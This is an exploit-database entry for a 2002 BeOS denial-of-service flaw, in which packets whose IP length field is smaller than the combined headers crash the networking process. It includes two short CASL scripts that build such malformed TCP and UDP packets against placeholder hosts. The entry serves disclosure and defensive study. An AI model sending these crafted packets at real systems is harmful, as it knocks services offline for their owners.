BeOS Networking Process Denial of Service Vulnerability

vendor:

BeOS

by:

SecurityFocus

7,5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: BeOS

Affected Version From: BeOS

Affected Version To: BeOS

Patch Exists: No

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: BeOS

2002

BeOS Networking Process Denial of Service Vulnerability

BeOS networking process can crash if certain malformed packets are transmitted to it. If the length field is set to a number less than the total length of the IP and protocol (TCP or UDP) headers alone, the process will halt and require manual restarting to regain normal functionality. For TCP, the combined TCP and IP header length is 40, and for UDP the combined UDP and IP header length is 28.

Mitigation:

Restrict access to the vulnerable system and ensure that all packets sent to it are valid.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1100/info

The networking process in BeOS can crash if certain malformed packets are transmitted to it. If the length field is set to a number less than the total length of the IP and protocol (TCP or UDP) headers alone, the process will halt and require manual restarting to regain normal functionality. For TCP, the combined TCP and IP header length is 40, and for UDP the combined UDP and IP header length is 28. 

--------------becasl.casl--------------------

#!/usr/local/casl/bin/casl

    #include "tcpip.casl"
    #include "packets.casl"
    #include "tcp.casl"

    srchost = 10.0.0.1;
    dsthost = 10.0.0.2;

    IPH = copy TCPIP;
    
    IPH.ip_hl = 5;
    IPH.ip_src = srchost;
    IPH.ip_dst = dsthost;
    IPH.ip_length = 39;
    
    packet = [ IPH ];
    ip_output(packet);

--------------becasl1.casl--------------------

 #!/usr/local/casl/bin/casl

    #include "tcpip.casl"
    #include "packets.casl"
    #include "tcp.casl"

    srchost = 10.0.0.1;
    dsthost = 10.0.0.2;

    IPH = copy UDPIP;

    IPH.ip_hl = 5;
    IPH.ip_src = srchost;
    IPH.ip_dst = dsthost;
    IPH.ip_length = 27;

    packet = [ IPH ];
    ip_output(packet);